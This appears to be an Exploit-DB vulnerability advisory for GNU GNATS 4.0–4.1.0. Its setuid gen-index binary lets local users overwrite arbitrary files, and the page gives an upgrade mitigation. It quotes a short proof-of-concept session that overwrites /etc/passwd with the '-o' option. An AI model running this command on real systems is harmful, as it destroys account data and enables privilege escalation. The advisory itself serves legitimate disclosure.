GNU GNATS gen-index Local File Disclosure/Overwrite Vulnerability

vendor:

GNATS

by:

SecurityFocus

7.2

CVSS

HIGH

Local File Disclosure/Overwrite

264

CWE

Product Name: GNATS

Affected Version From: GNU GNATS 4.0

Affected Version To: GNU GNATS 4.1.0

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Linux

2004

GNU GNATS gen-index Local File Disclosure/Overwrite Vulnerability

GNU GNATS gen-index allows local attackers to disclose and overwrite arbitrary files. A successful attack can result in privilege escalation and a complete compromise of the affected computer as gen-index is installed with setuid permissions. An attacker can use the gen-index command to overwrite files with arbitrary content.

Mitigation:

Upgrade to the latest version of GNU GNATS.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/14169/info

GNU GNATS gen-index allows local attackers to disclose and overwrite arbitrary files.

A successful attack can result in privilege escalation and a complete compromise of the affected computer as gen-index is installed with setuid permissions.

GNU GNATS 4.0 and 4.1.0 are reported to be affected. Other versions may be vulnerable as well. 

pi3@darkstar:~$ pwd
/home/pi3
pi3@darkstar:~$ ls -alh /etc/passwd
-rw-r--r-- 1 root root 795 May 19 18:49 /etc/passwd
pi3@darkstar:~$ ls -alh /usr/local/libexec/gnats/gen-index
-r-sr-xr-x 1 root root 465k Nov 21 2004 /usr/local/libexec/gnats/gen-index*
pi3@darkstar:~$ /usr/local/libexec/gnats/gen-index -n -o /etc/passwd
pi3@darkstar:~$ ls -alh /etc/passwd
-rw-r--r-- 1 root root 1 Jun 16 17:34 /etc/passwd
pi3@darkstar:~$ cat /etc/passwd